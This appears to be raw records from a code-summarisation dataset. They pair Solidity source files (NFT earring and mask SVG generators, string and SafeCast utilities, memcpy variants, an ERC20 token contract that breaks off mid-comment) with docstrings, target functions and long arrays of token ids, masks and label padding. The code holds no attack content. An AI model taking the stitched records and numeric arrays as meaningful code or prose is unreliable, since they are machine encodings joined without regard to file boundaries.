d="M298.7,228.1l-4.7-1.6c0,0-0.1,0-0.1-0.1v-0.1c2.8-2.7,7.1-17.2,7.2-17.4c0-0.1,0.1-0.1,0.1-0.1l0,0c5.3,1.1,5.6,2.2,5.7,2.4c-3.1,5.4-8,16.7-8.1,16.8C298.9,228,298.8,228.1,298.7,228.1C298.8,228.1,298.8,228.1,298.7,228.1z" style="fill: #fff700;stroke: #000;stroke-miterlimit: 10;stroke-width: 0.75px"/>' ) ) ); } /// @dev Earrings N°9 => Circle Diamond function item_9() public pure returns (string memory) { return base(circle("AAFFFD")); } /// @dev Earrings N°10 => Drop Heart function item_10() public pure returns (string memory) { return base( string( abi.encodePacked( drop(true), '<path fill="#F44336" d="M285.4,282.6c0.1,0.1,0.2,0.2,0.4,0.2s0.3-0.1,0.4-0.2l6.7-6.8c2.8-2.8,0.8-7.7-3.2-7.7c-2.4,0-3.5,1.8-3.9,2.1c-0.4-0.3-1.5-2.1-3.9-2.1c-4,0-6,4.9-3.2,7.7L285.4,282.6z"/>', drop(false), '<path fill="#F44336" d="M134.7,282.5c0.1,0.1,0.2,0.2,0.4,0.2s0.3-0.1,0.4-0.2l6.7-6.8c2.8-2.8,0.8-7.7-3.2-7.7c-2.4,0-3.5,1.8-3.9,2.1c-0.4-0.3-1.5-2.1-3.9-2.1c-4,0-6,4.9-3.2,7.7L134.7,282.5z"/>' ) ) ); } /// @dev Earrings N11 => Ether function item_11() public pure returns (string memory) { return base( string( abi.encodePacked( '<path d="M285.7,242.7l-4.6-2.2l4.6,8l4.6-8L285.7,242.7z"/>', '<path d="M289.8,238.9l-4.1-7.1l-4.1,7.1l4.1-1.9L289.8,238.9z"/>', '<path d="M282,239.9l3.7,1.8l3.8-1.8l-3.8-1.8L282,239.9z"/>', '<path d="M134.5,241.8l-3.4-1.9l3.7,7.3l2.8-7.7L134.5,241.8z"/>', '<path d="M137.3,238l-3.3-6.5l-2.5,6.9l2.8-2L137.3,238z"/>', '<path d="M131.7,239.2l2.8,1.5l2.6-1.8l-2.8-1.5L131.7,239.2z"/>' ) ) ); } /// @dev Earrings N°12 => Drop Ether function item_12() public pure returns (string memory) { return base( string( abi.encodePacked( drop(true), '<path d="M285.7,279.7l-4.6-2.2l4.6,8l4.6-8L285.7,279.7z"/>', '<path d="M289.8,275.9l-4.1-7.1l-4.1,7.1l4.1-1.9L289.8,275.9z"/>', '<path d="M282,276.9l3.7,1.8l3.8-1.8l-3.8-1.8L282,276.9z"/><path d="M282,276.9l3.7,1.8l3.8-1.8l-3.8-1.8L282,276.9z"/>', drop(false), '<path d="M135.1,279.7l-4-2.2l4,8l4-8L135.1,279.7z"/>', '<path d="M138.7,275.9l-3.6-7.1l-3.6,7.1l3.6-1.9L138.7,275.9z"/>', '<path d="M131.8,276.9l3.3,1.8l3.3-1.8l-3.3-1.8L131.8,276.9z"/>' ) ) ); } /// @dev earring drop function drop(bool right) private pure returns (string memory) { return string( right ? abi.encodePacked( '<circle cx="285.7" cy="243.2" r="3.4"/>', '<line fill="none" stroke="#000000" stroke-miterlimit="10" x1="285.7" y1="243.2" x2="285.7" y2="270.2"/>' ) : abi.encodePacked( '<ellipse cx="135.1" cy="243.2" rx="3" ry="3.4"/>', '<line fill="none" stroke="#000000" stroke-miterlimit="10" x1="135.1" y1="243.2" x2="135.1" y2="270.2"/>' ) ); } /// @dev Generate circle SVG with the given color function circle(string memory color) private pure returns (string memory) { return string( abi.encodePacked( '<ellipse fill="#', color, '" stroke="#000000" cx="135.1" cy="243.2" rx="3" ry="3.4"/>', '<ellipse fill="#', color, '" stroke="#000000" cx="286.1" cy="243.2" rx="3.3" ry="3.4"/>' ) ); } /// @dev Generate ring SVG with the given color function ring(string memory color) private pure returns (string memory) { return string( abi.encodePacked( '<path fill="none" stroke="#', color, '" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M283.5,246c0,0-4.2,2-3.1,6.1c1,4.1,5.1,3.6,5.4,3.5s3.1-0.9,3-5"/>', '<path fill="none" stroke="#', color, '" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" stroke-miterlimit="10" d="M134.3,244.7c0,0-4.2,2-3.1,6.1c1,4.1,5.1,3.6,5.4,3.5c0.3-0.1,3.1-0.9,3-5"/>' ) ); } /// @notice Return the earring name of the given id /// @param id The earring Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Classic"; } else if (id == 2) { name = "Circle"; } else if (id == 3) { name = "Circle Silver"; } else if (id == 4) { name = "Ring"; } else if (id == 5) { name = "Circle Gold"; } else if (id == 6) { name = "Ring Gold"; } else if (id == 7) { name = "Heart"; } else if (id == 8) { name = "Gold"; } else if (id == 9) { name = "Circle Diamond"; } else if (id == 10) { name = "Drop Heart"; } else if (id == 11) { name = "Ether"; } else if (id == 12) { name = "Drop Ether"; } } /// @dev The base SVG for the earrings function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Earrings">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "base64-sol/base64.sol"; import "./constants/Colors.sol"; /// @title Masks SVG generator library MaskDetail { /// @dev Mask N°1 => Maskless function item_1() public pure returns (string memory) { return ""; } /// @dev Mask N°2 => Classic function item_2() public pure returns (string memory) { return base(classicMask("575673")); } /// @dev Mask N°3 => Blue function item_3() public pure returns (string memory) { return base(classicMask(Colors.BLUE)); } /// @dev Mask N°4 => Pink function item_4() public pure returns (string memory) { return base(classicMask(Colors.PINK)); } /// @dev Mask N°5 => Black function item_5() public pure returns (string memory) { return base(classicMask(Colors.BLACK)); } /// @dev Mask N°6 => Bandage White function item_6() public pure returns (string memory) { return base(string(abi.encodePacked(classicMask("F5F5F5"), bandage()))); } /// @dev Mask N°7 => Bandage Classic function item_7() public pure returns (string memory) { return base(string(abi.encodePacked(classicMask("575673"), bandage()))); } /// @dev Mask N°8 => Nihon function item_8() public pure returns (string memory) { return base( string( abi.encodePacked( classicMask("F5F5F5"), '<ellipse opacity="0.87" fill="#FF0039" cx="236.1" cy="259.8" rx="13.4" ry="14.5"/>' ) ) ); } /// @dev Generate classic mask SVG with the given color function classicMask(string memory color) public pure returns (string memory) { return string( abi.encodePacked( '<path fill="#', color, '" stroke="#000000" stroke-miterlimit="10" d=" M175.7,317.7c0,0,20,15.1,82.2,0c0,0-1.2-16.2,3.7-46.8l14-18.7c0,0-41.6-27.8-77.6-37.1c-1.1-0.3-3-0.7-4-0.2 c-19.1,8.1-51.5,33-51.5,33s7.5,20.9,9.9,22.9s24.8,19.4,24.8,19.4s0,0,0,0.1C177.3,291.2,178,298.3,175.7,317.7z"/>', '<path fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" d="M177.1,290.1 c0,0,18.3,14.7,26.3,15s15.1-3.8,15.9-4.3c0.9-0.4,11.6-4.5,25.2-14.1"/>', '<line fill="none" stroke="#000000" stroke-linecap="round" stroke-miterlimit="10" x1="266.6" y1="264.4" x2="254.5" y2="278.7"/>', '<path opacity="0.21" d="M197.7,243.5l-7.9-3.5c-0.4-0.2-0.5-0.7-0.2-1.1l3.2-3.3 c0.4-0.4,1-0.5,1.5-0.3l12.7,4.6c0.6,0.2,0.6,1.1-0.1,1.3l-8.7,2.4C198,243.6,197.8,243.6,197.7,243.5z"/>', '<path opacity="0.24" fill-rule="evenodd" clip-rule="evenodd" d="M177.2,291.1 c0,0,23,32.3,39.1,28.1s41.9-20.9,41.9-20.9c1.2-8.7,2.1-18.9,3.2-27.6c-4.6,4.7-12.8,13.2-20.9,18.3c-5,3.1-21.2,14.5-34.9,16 C198.3,305.8,177.2,291.1,177.2,291.1z"/>' ) ); } /// @dev Generate bandage SVG function bandage() public pure returns (string memory) { return string( abi.encodePacked( '<path fill="none" stroke="#000000" stroke-miterlimit="10" d="M142.9,247.9c34.3-21.9,59.3-27.4,92.4-18.5 M266.1,264.1c-21-16.2-60.8-36.4-73.9-29.1c-12.8,7.1-36.4,15.6-45.8,22.7 M230.9,242.8c-32.4,2.5-54.9,0.1-81.3,22.7 M259.8,272.3c-19.7-13.9-46.1-24.1-70.3-25.9 M211.6,250.1c-18.5,1.9-41.8,11.2-56.7,22 M256.7,276.1c-46-11.9-50.4-25.6-94,2.7 M229,267.5c-19.9,0.3-42,9.7-60.6,15.9 M238.4,290.6c-11-3.9-39.3-14.6-51.2-14 M214.5,282.5c-10.3-2.8-23,7.6-30.7,12.6 M221.6,299.8c-3.8-5.5-22.1-7.1-27-11.4 M176.2,312.4c8.2,7.3,65.1,6.4,81.2-2.6 M177.3,305.3c11.1,3.6,15.5,4.2,34.6,2.9 c14.5-1,33.2-2.7,46.2-9.2 M224.4,298.4c9,0,25.6-3.3,34.1-6 M249,285.8c3.6-0.2,7.1-1,10.5-2.3 M215.1,225.7 c-6-1.3-11.9-2.3-17.9-3.6c-4.8-1-9.8-2.1-14.7-1.3"/>' ) ); } /// @notice Return the mask name of the given id /// @param id The mask Id function getItemNameById(uint8 id) public pure returns (string memory name) { name = ""; if (id == 1) { name = "Maskless"; } else if (id == 2) { name = "Classic"; } else if (id == 3) { name = "Blue"; } else if (id == 4) { name = "Pink"; } else if (id == 5) { name = "Black"; } else if (id == 6) { name = "Bandage White"; } else if (id == 7) { name = "Bandage Classic"; } else if (id == 8) { name = "Nihon"; } } /// @dev The base SVG for the eyes function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Mask">', children, "</g>")); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; /// @title Color constants library Colors { string internal constant BLACK = "33333D"; string internal constant BLACK_DEEP = "000000"; string internal constant BLUE = "7FBCFF"; string internal constant BROWN = "735742"; string internal constant GRAY = "7F8B8C"; string internal constant GREEN = "2FC47A"; string internal constant PINK = "FF78A9"; string internal constant PURPLE = "A839A4"; string internal constant RED = "D9005E"; string internal constant SAIKI = "F02AB6"; string internal constant WHITE = "F7F7F7"; string internal constant YELLOW = "EFED8F"; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } }
@dev The base SVG for the Eyebrow
function base(string memory children) private pure returns (string memory) { return string(abi.encodePacked('<g id="Eyebrow">', children, "</g>")); }
5,890,311
[ 1, 1986, 1026, 11281, 364, 326, 512, 20513, 70, 492, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1026, 12, 1080, 3778, 2325, 13, 3238, 16618, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 327, 533, 12, 21457, 18, 3015, 4420, 329, 2668, 32, 75, 612, 1546, 41, 20513, 70, 492, 7918, 16, 2325, 16, 6823, 75, 2984, 10019, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.8.11; contract Test { function memcpy_0(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes if (len!=0){ uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } // From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol function memcpy_1(uint256 dest, uint256 src, uint256 len) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } // From: https://github.com/ensdomains/ens-contracts/blob/master/contracts/dnssec-oracle/BytesUtils.sol function memcpy_2(uint dest, uint src, uint len) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes unchecked { uint mask = (256 ** (32 - len)) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } }
Copy word-length chunks while possible Copy remaining bytes
function memcpy_0(uint dest, uint src, uint len) private pure { for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } if (len!=0){ uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } }
13,134,470
[ 1, 2951, 2076, 17, 2469, 6055, 1323, 3323, 5631, 4463, 1731, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 915, 1663, 71, 2074, 67, 20, 12, 11890, 1570, 16, 2254, 1705, 16, 2254, 562, 13, 3238, 16618, 288, 203, 3639, 364, 12, 31, 562, 1545, 3847, 31, 562, 3947, 3847, 13, 288, 203, 5411, 19931, 288, 203, 7734, 312, 2233, 12, 10488, 16, 312, 945, 12, 4816, 3719, 203, 5411, 289, 203, 5411, 1570, 1011, 3847, 31, 203, 5411, 1705, 1011, 3847, 31, 203, 3639, 289, 203, 3639, 309, 261, 1897, 5, 33, 20, 15329, 203, 3639, 2254, 3066, 273, 8303, 2826, 261, 1578, 300, 562, 13, 300, 404, 31, 203, 3639, 19931, 288, 203, 5411, 2231, 1705, 2680, 519, 471, 12, 81, 945, 12, 4816, 3631, 486, 12, 4455, 3719, 203, 5411, 2231, 1570, 2680, 519, 471, 12, 81, 945, 12, 10488, 3631, 3066, 13, 203, 5411, 312, 2233, 12, 10488, 16, 578, 12, 10488, 2680, 16, 1705, 2680, 3719, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 27699, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend 